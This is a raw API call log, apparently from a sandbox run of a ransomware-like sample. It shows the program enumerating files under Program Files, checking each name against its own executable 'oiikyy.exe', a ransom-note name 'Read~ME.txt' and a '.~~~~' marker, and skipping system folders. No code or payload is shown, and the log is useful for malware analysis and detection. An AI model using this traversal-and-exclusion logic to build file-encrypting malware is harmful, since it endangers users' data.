	[0080.506] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="Windows") returned -1
	[0080.506] lstrcmpW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.507] StrStrW (lpFirst="flower_trans_RGB_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.507] lstrcmpW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.507] GetCurrentThreadId () returned 0x618
	[0080.507] RtlWakeConditionVariable () returned 0x365f48
	[0080.507] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0080.507] lstrcmpiW (lpString1="highlight.png", lpString2="Windows") returned -1
	[0080.507] lstrcmpW (lpString1="highlight.png", lpString2="oiikyy.exe") returned -1
	[0080.507] StrStrW (lpFirst="highlight.png", lpSrch=".~~~~") returned 0x0
	[0080.507] lstrcmpW (lpString1="highlight.png", lpString2="Read~ME.txt") returned -1
	[0080.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.507] GetCurrentThreadId () returned 0x618
	[0080.507] RtlWakeConditionVariable () returned 0x365f48
	[0080.507] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1
	[0080.507] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="Windows") returned -1
	[0080.507] lstrcmpW (lpString1="mainimage-mask.png", lpString2="oiikyy.exe") returned -1
	[0080.507] StrStrW (lpFirst="mainimage-mask.png", lpSrch=".~~~~") returned 0x0
	[0080.507] lstrcmpW (lpString1="mainimage-mask.png", lpString2="Read~ME.txt") returned -1
	[0080.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.507] GetCurrentThreadId () returned 0x618
	[0080.508] RtlWakeConditionVariable () returned 0x365f48
	[0080.508] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1
	[0080.508] lstrcmpiW (lpString1="notes-static.png", lpString2="Windows") returned -1
	[0080.508] lstrcmpW (lpString1="notes-static.png", lpString2="oiikyy.exe") returned -1
	[0080.508] StrStrW (lpFirst="notes-static.png", lpSrch=".~~~~") returned 0x0
	[0080.508] lstrcmpW (lpString1="notes-static.png", lpString2="Read~ME.txt") returned -1
	[0080.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.508] GetCurrentThreadId () returned 0x618
	[0080.508] RtlWakeConditionVariable () returned 0x365f48
	[0080.508] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1
	[0080.508] lstrcmpiW (lpString1="play-static.png", lpString2="Windows") returned -1
	[0080.508] lstrcmpW (lpString1="play-static.png", lpString2="oiikyy.exe") returned 1
	[0080.508] StrStrW (lpFirst="play-static.png", lpSrch=".~~~~") returned 0x0
	[0080.508] lstrcmpW (lpString1="play-static.png", lpString2="Read~ME.txt") returned -1
	[0080.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.508] GetCurrentThreadId () returned 0x618
	[0080.508] RtlWakeConditionVariable () returned 0x365f48
	[0080.508] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0
	[0080.508] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.510] GetCurrentThreadId () returned 0x618
	[0080.510] RtlWakeConditionVariable () returned 0x365f48
	[0080.510] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1
	[0080.510] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="Windows") returned -1
	[0080.510] lstrcmpW (lpString1="BlackRectangle.bmp", lpString2="oiikyy.exe") returned -1
	[0080.510] StrStrW (lpFirst="BlackRectangle.bmp", lpSrch=".~~~~") returned 0x0
	[0080.510] lstrcmpW (lpString1="BlackRectangle.bmp", lpString2="Read~ME.txt") returned -1
	[0080.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.510] GetCurrentThreadId () returned 0x618
	[0080.510] RtlWakeConditionVariable () returned 0x365f48
	[0080.510] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1
	[0080.510] lstrcmpiW (lpString1="circleround_glass.png", lpString2="Windows") returned -1
	[0080.510] lstrcmpW (lpString1="circleround_glass.png", lpString2="oiikyy.exe") returned -1
	[0080.510] StrStrW (lpFirst="circleround_glass.png", lpSrch=".~~~~") returned 0x0
	[0080.511] lstrcmpW (lpString1="circleround_glass.png", lpString2="Read~ME.txt") returned -1
	[0080.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.511] GetCurrentThreadId () returned 0x618
	[0080.511] RtlWakeConditionVariable () returned 0x365f48
	[0080.511] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0080.511] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="Windows") returned -1
	[0080.511] lstrcmpW (lpString1="circleround_selectionsubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.511] StrStrW (lpFirst="circleround_selectionsubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.511] lstrcmpW (lpString1="circleround_selectionsubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.511] GetCurrentThreadId () returned 0x618
	[0080.511] RtlWakeConditionVariable () returned 0x365f48
	[0080.511] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1
	[0080.511] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="Windows") returned -1
	[0080.511] lstrcmpW (lpString1="circleround_videoinset.png", lpString2="oiikyy.exe") returned -1
	[0080.511] StrStrW (lpFirst="circleround_videoinset.png", lpSrch=".~~~~") returned 0x0
	[0080.511] lstrcmpW (lpString1="circleround_videoinset.png", lpString2="Read~ME.txt") returned -1
	[0080.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.511] GetCurrentThreadId () returned 0x618
	[0080.511] RtlWakeConditionVariable () returned 0x365f48
	[0080.512] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.512] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.512] lstrcmpW (lpString1="Circle_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.512] StrStrW (lpFirst="Circle_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.512] lstrcmpW (lpString1="Circle_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.512] GetCurrentThreadId () returned 0x618
	[0080.512] RtlWakeConditionVariable () returned 0x365f48
	[0080.512] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0080.512] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="Windows") returned -1
	[0080.512] lstrcmpW (lpString1="circle_glass_Thumbnail.bmp", lpString2="oiikyy.exe") returned -1
	[0080.512] StrStrW (lpFirst="circle_glass_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0080.512] lstrcmpW (lpString1="circle_glass_Thumbnail.bmp", lpString2="Read~ME.txt") returned -1
	[0080.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.512] GetCurrentThreadId () returned 0x618
	[0080.512] RtlWakeConditionVariable () returned 0x365f48
	[0080.512] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1
	[0080.512] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="Windows") returned -1
	[0080.513] lstrcmpW (lpString1="Circle_SelectionSubpictureA.png", lpString2="oiikyy.exe") returned -1
	[0080.513] StrStrW (lpFirst="Circle_SelectionSubpictureA.png", lpSrch=".~~~~") returned 0x0
	[0080.513] lstrcmpW (lpString1="Circle_SelectionSubpictureA.png", lpString2="Read~ME.txt") returned -1
	[0080.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.513] GetCurrentThreadId () returned 0x618
	[0080.513] RtlWakeConditionVariable () returned 0x365f48
	[0080.513] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1
	[0080.513] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="Windows") returned -1
	[0080.513] lstrcmpW (lpString1="Circle_SelectionSubpictureB.png", lpString2="oiikyy.exe") returned -1
	[0080.513] StrStrW (lpFirst="Circle_SelectionSubpictureB.png", lpSrch=".~~~~") returned 0x0
	[0080.513] lstrcmpW (lpString1="Circle_SelectionSubpictureB.png", lpString2="Read~ME.txt") returned -1
	[0080.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.513] GetCurrentThreadId () returned 0x618
	[0080.513] RtlWakeConditionVariable () returned 0x365f48
	[0080.513] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1
	[0080.513] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="Windows") returned -1
	[0080.513] lstrcmpW (lpString1="Circle_VideoInset.png", lpString2="oiikyy.exe") returned -1
	[0080.513] StrStrW (lpFirst="Circle_VideoInset.png", lpSrch=".~~~~") returned 0x0
	[0080.513] lstrcmpW (lpString1="Circle_VideoInset.png", lpString2="Read~ME.txt") returned -1
	[0080.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.513] GetCurrentThreadId () returned 0x618
	[0080.513] RtlWakeConditionVariable () returned 0x365f48
	[0080.514] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0080.514] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="Windows") returned -1
	[0080.514] lstrcmpW (lpString1="cloud_Thumbnail.bmp", lpString2="oiikyy.exe") returned -1
	[0080.514] StrStrW (lpFirst="cloud_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0080.514] lstrcmpW (lpString1="cloud_Thumbnail.bmp", lpString2="Read~ME.txt") returned -1
	[0080.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.514] GetCurrentThreadId () returned 0x618
	[0080.514] RtlWakeConditionVariable () returned 0x365f48
	[0080.514] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1
	[0080.514] lstrcmpiW (lpString1="Dot.png", lpString2="Windows") returned -1
	[0080.514] lstrcmpW (lpString1="Dot.png", lpString2="oiikyy.exe") returned -1
	[0080.514] StrStrW (lpFirst="Dot.png", lpSrch=".~~~~") returned 0x0
	[0080.514] lstrcmpW (lpString1="Dot.png", lpString2="Read~ME.txt") returned -1
	[0080.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.514] GetCurrentThreadId () returned 0x618
	[0080.514] RtlWakeConditionVariable () returned 0x365f48
	[0080.514] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1
	[0080.514] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="Windows") returned -1
	[0080.514] lstrcmpW (lpString1="DvdTransform.fx", lpString2="oiikyy.exe") returned -1
	[0080.514] StrStrW (lpFirst="DvdTransform.fx", lpSrch=".~~~~") returned 0x0
	[0080.514] lstrcmpW (lpString1="DvdTransform.fx", lpString2="Read~ME.txt") returned -1
	[0080.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.514] GetCurrentThreadId () returned 0x618
	[0080.515] RtlWakeConditionVariable () returned 0x365f48
	[0080.515] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1
	[0080.515] lstrcmpiW (lpString1="FlipPage", lpString2="Windows") returned -1
	[0080.515] lstrcmpW (lpString1="FlipPage", lpString2=".") returned 1
	[0080.515] lstrcmpW (lpString1="FlipPage", lpString2="..") returned 1
	[0080.515] lstrcmpW (lpString1="FlipPage", lpString2="AppData") returned 1
	[0080.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", lpSrch="AppData") returned 0x0
	[0080.515] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.515] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", lpString2="C:\\Windows") returned -1
	[0080.515] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.515] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", lpString2="C:\\System Volume Information") returned -1
	[0080.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0080.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.621] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.621] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.621] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.621] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.621] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.621] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0080.621] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.621] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.621] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.621] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.622] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.622] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.622] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0080.622] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0080.622] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0080.622] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0080.622] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0080.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.622] GetCurrentThreadId () returned 0x618
	[0080.622] RtlWakeConditionVariable () returned 0x365f48
	[0080.622] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x2, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0080.622] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="Windows") returned -1
	[0080.622] lstrcmpW (lpString1="203x8subpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.622] StrStrW (lpFirst="203x8subpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.622] lstrcmpW (lpString1="203x8subpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.622] GetCurrentThreadId () returned 0x618
	[0080.622] RtlWakeConditionVariable () returned 0x365f48
	[0080.623] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.623] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.623] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.623] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.623] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.623] GetCurrentThreadId () returned 0x618
	[0080.623] RtlWakeConditionVariable () returned 0x365f48
